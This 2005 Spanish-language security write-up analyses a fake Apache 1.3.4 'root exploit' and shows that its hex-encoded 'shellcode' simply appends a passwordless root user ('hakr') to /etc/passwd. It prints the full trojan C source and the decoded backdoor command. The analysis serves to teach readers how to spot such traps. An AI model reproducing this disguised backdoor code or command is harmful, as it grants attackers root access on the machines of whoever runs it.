DESCUBRIENDO FAKE EXPLOIT: remote apache 1.3.4 root exploit (linux) -+[ A. Alejandro Hernández -+[ 10/Enero/2005 NOTA: No se utilizaran acentos en este documento para compatibilidad. -+[ Contenidos 1.-Introduccion. 2.-Ejecutando el fake exploit. 2.1.-Codigo fuente. 2.2.-Ejecutando el exploit. 3.-Descubriendo que es un exploit falso. 3.1.-Metodo de Explotacion no creible. 3.2.-Descubriendo un falso payload (shellcode). 3.3.-Otros puntos. 4.-Comentarios. 5.-Referencias. 1.-INTRODUCCION Desde la aparicion de buffer overflows y un sin numero de diferentes vulnerabilidades mas, palabras como: 'Exploits'[1] y 'Shellcodes'[2] son comunmente escuchadas en varios medios. Pero no todos los exploits hacen lo que deberi­an hacer, ya que algunos son programados para explotar y a la vez ejecutar codigo arbitrario en el host donde ha sido lanzado este mismo, y otros, definitivamente son solo desarrollados para ejecutar codigo localmente sin explotar nada el cual es el caso de este codigo a analizar. La mayoria de exploits si son desarrollados para explotar alguna vulnera- bilidad, y me atrevo a decir que muy, pero muy pocos son escritos con shellcodes falsas o algun otro metodo para ejecutar codigo localmente. 2.-EJECUTANDO EL FAKE EXPLOIT 2.1.-CODIGO FUENTE: [nitrous@localhost fake_exploit]$ cat apache1.3.4.c[3] /* remote apache 1.3.4 root exploit (linux) */ #include #include #include #include #include #include #include char shellcode[] = \ "\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a" "\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20" "\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; #define NOP 0x90 #define BSIZE 256 #define OFFSET 400 #define ADDR 0xbffff658 #define ASIZE 2000 int main(int argc, char *argv[]) { char *buffer; int s; struct hostent *hp; struct sockaddr_in sin; if (argc != 2) { printf("%s \n", argv[0]); exit(1); } buffer = (char *) malloc(BSIZE + ASIZE + 100); if (buffer == NULL) { printf("Not enough memory\n"); exit(1); } memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode, strlen(shellcode)); buffer[BSIZE + ASIZE] = ';'; buffer[BSIZE + ASIZE + 1] = '\0'; hp = gethostbyname(argv[1]); if (hp == NULL) { printf("no such server\n"); exit(1); } bzero(&sin, sizeof(sin)); bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(80); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { printf("Can't open socket\n"); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { printf("Connection refused\n"); exit(1); } printf("sending exploit code...\n"); if (send(s, buffer, strlen(buffer), 0) != 1) printf("exploit was successful!\n"); else printf("sorry, this site isn't vulnerable\n"); printf("waiting for shell.....\n"); if (fork() == 0) execl("/bin/sh", "sh", "-c", shellcode, 0); else wait(NULL); while (1) { /* shell */ } 2.2.-EJECUTANDO EL EXPLOIT Primero inicie mi servidor web (Apache Web Server [4]): [root@localhost root]# service httpd start Iniciando httpd: [ OK ] [root@localhost root]# echo "HEAD / HTTP/1.0\r\n" | nc localhost 80 | grep Server: Server: Apache/2.0.40 (Red Hat Linux) Ahora como usuario normal (UID != 0): [nitrous@localhost fake_exploit]$ gcc apache1.3.4.c -o apache1.3.4 [nitrous@localhost fake_exploit]$ ./apache1.3.4 ./apache1.3.4 [nitrous@localhost fake_exploit]$ ./apache1.3.4 localhost sending exploit code... exploit was successful! waiting for shell..... sh: line 1: /etc/passwd: Permiso denegado //ESTO DA MUCHO DE QUE HABLAR ;) Pero que pasa si apago mi servidor web y solamente abro el puerto 80/tcp con netcat[5] ;), veamos: [root@localhost root]# service httpd stop Parando httpd: [ OK ] [root@localhost root]# netstat -lan | grep :80 [root@localhost root]# nc -l -p 80 -vv & [1] 23135 listening on [any] 80 ... [root@localhost root]# netstat -lan | grep :80 tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN Ahora como usuario normal ejecutamos dicho exploit: [nitrous@localhost fake_exploit]$ ./apache1.3.4 localhost sending exploit code... exploit was successful! waiting for shell..... sh: line 1: /etc/passwd: Permiso denegado Mmmm, como es posible esto ;), si el exploit es para Apache 1.3.4 y tambien logro explotar apache 2.0.4!! y a netcat tambien !!, que super exploit Jeje!. Pero si dicho exploit es falso, no explota nada, entonces que ejecuta?: Veamos las ultimas dos lineas del archivo /etc/passwd: [root@localhost fake_exploit]# tail -n 2 /etc/passwd nitrous:x:500:500:------:/home/nitrous:/bin/bash lame:x:501:501:------:/home/lame:/bin/bash Ejecutamos el fake exploit como r00t: [root@localhost fake_exploit]# ./apache1.3.4 localhost sending exploit code... exploit was successful! waiting for shell..... Veamos de nuevo las ultimas dos lineas de /etc/passwd: [root@localhost fake_exploit]# tail -n 2 /etc/passwd lame:x:501:501::/home/lame:/bin/bash hakr::0:0::/:/bin/sh ----> Usuario: hakr Password=(null) .... [lame@localhost lame]$ su hakr sh-2.05#id uid=0(root) gid=0(root) grupos=0(root) Entonces, al ejecutar el exploit falso como usuario r00t, obviamente este tiene derecho de agregar una nueva linea al archivo /etc/passwd, pero como usuario normal no, he ahi­ el significado de la linea al ser ejecutado por cualquier usuario diferente de r00t: sh: line 1: /etc/passwd: Permiso denegado Pero quien o que introduce esa linea a /etc/passwd?...La shellcode falsa. 3.-DESCUBRIENDO QUE ES UN EXPLOIT FALSO 3.1.-METODO DE EXPLOTACION NO CREIBLE Veamos: if (send(s, buffer, strlen(buffer), 0) != 1) printf("exploit was successful!\n"); else printf("sorry, this site isn't vulnerable\n"); printf("waiting for shell.....\n"); if (fork() == 0) execl("/bin/sh", "sh", "-c", shellcode, 0); else wait(NULL); while (1) { /* shell */ } El send() solamente envia el contenido de 'buffer', pero en buffer hay basura!, los mensajes siguientes se entienden...El fork() crea un proceso hijo el cual ejecuta 'execl("/bin/sh", "sh", "-c", shellcode, 0);', pero que hace esta linea en si?: [nitrous@localhost nitrous]$ man sh ... -c string. If the -c option is present, then commands are read from string. ... Entonces, es el equivalente a hacer: #sh -c shellcode El contenido de la shellcode sera analizada en el siguiente punto. Finalmente, el ultimo while(1){} no ejecuta nada, solamente se queda ahi haciendo creer el ultimo printf(): 'printf("waiting for shell.....\n");' 3.2.-DESCUBRIENDO UN FALSO PAYLOAD (SHELLCODE) Primeramente note que la 'shellcode' no conteni­a los OPCODES: "\xcd\x80" los cuales son equivalentes a: "int $0x80" en lenguaje ensamblador en AT&T SYNTAX. Como el exploit presumi­a explotar Apache Web Server bajo el sistema operativo Linux, por lo tanto seria algo improbable que la intruccion "int $0x80" no estuviera, podria ser, pero no es muy probable. Para ver que ejecutaba la shellcode, hice lo siguiente: [nitrous@localhost]$ objdump -D ./apache1.3.4 | grep -A 18 shellcode 08049a80 : 8049a80: 65 63 68 6f arpl %bp,%gs:0x6f(%eax) 8049a84: 20 68 61 and %ch,0x61(%eax) 8049a87: 6b 72 3a 3a imul $0x3a,0x3a(%edx),%esi 8049a8b: 30 3a xor %bh,(%edx) 8049a8d: 30 3a xor %bh,(%edx) 8049a8f: 3a 2f cmp (%edi),%ch 8049a91: 3a 2f cmp (%edi),%ch 8049a93: 62 69 6e bound %ebp,0x6e(%ecx) 8049a96: 2f das 8049a97: 73 68 jae 8049b01 <_DYNAMIC+0x55> 8049a99: 20 3e and %bh,(%esi) 8049a9b: 3e 20 2f and %ch,%ds:(%edi) 8049a9e: 65 gs 8049a9f: 74 63 je 8049b04 <_DYNAMIC+0x58> 8049aa1: 2f das 8049aa2: 70 61 jo 8049b05 <_DYNAMIC+0x59> 8049aa4: 73 73 jae 8049b19 <_DYNAMIC+0x6d> 8049aa6: 77 64 ja 8049b0c <_DYNAMIC+0x60> Se nota claramente que las instrucciones en ensamblador no sirven para explotar nada, entonces, que hace dicha shellcode?...Solamente es necesario imprimir la shellcode como string: "printf("%s",shellcode);", lo cual imprime: [nitrous@localhost fake_exploit]$ ./printshellc echo hakr::0:0::/:/bin/sh >> /etc/passwd Oh, entonces es lo mismo que declarar la shellcode asi­ en el fake exploit: char shellcode[]="echo hakr::0:0::/:/bin/sh >> /etc/passwd"; Pero para despistar fue pasado cada caracter a su valor hexadecimal, lo cual es muy simple. Para este ejemplo utilize un peque~o codigo: [nitrous@localhost]$ gcc char2hex.c -o char2hex [nitrous@localhost]$ ./char2hex "echo hakr::0:0::/:/bin/sh >> /etc/passwd" [0x65] [0x63] [0x68] [0x6f] [0x20] [0x68] [0x61] [0x6b] [0x72] [0x3a] [0x3a] [0x30] [0x3a] [0x30] [0x3a] [0x3a] [0x2f] [0x3a] [0x2f] [0x62] [0x69] [0x6e] [0x2f] [0x73] [0x68] [0x20] [0x3e] [0x3e] [0x20] [0x2f] [0x65] [0x74] [0x63] [0x2f] [0x70] [0x61] [0x73] [0x73] [0x77] [0x64] Cada uno de estos valores hexadecimales son exactmente iguales a cada OPCODE obtenido en la salida de objdump. 3.3.-OTROS PUNTOS Declaraciones en el codigo: #define NOP 0x90 #define BSIZE 256 #define OFFSET 400 #define ADDR 0xbffff658 #define ASIZE 2000 En que parte del codigo se utilizaron: {NOP, OFFSET, ADDR} ??? Yo no lo vi en ninguna parte, quizas copie el codigo incompleto y por eso no me funciona XD. 4.-COMENTARIOS Pues aunque es facil ser enga~ado (no me excluyo), existen exploits que en verdad si son reales pero tambien tienen un 'regalo sorpresa' ;), aunque este exploit analizado definitivamente es muy obvio!... Tambien es bueno leer e intentar entender el codigo de un exploit, ya que asi­ puedes aprender diferentes metodos de explotacion y a la vez darte cuenta si se aprovechan de la ignorancia de quien ejecuta el exploit. Asi­ que si ejecu- taste este exploit como r00t, remueve la entrada del usuario 'hakr' en el archivo /etc/passwd. 5.-REFERENCIAS [1] Exploits http://es.wikipedia.org/wiki/Exploit [2] Payloads http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt [3] apache1.3.4.c http://www.genexx.org/nitrous/papers/apache1.3.4.c [4] Apache Web Server http://www.apache.org [5] Netcat http://netcat.sourceforge.net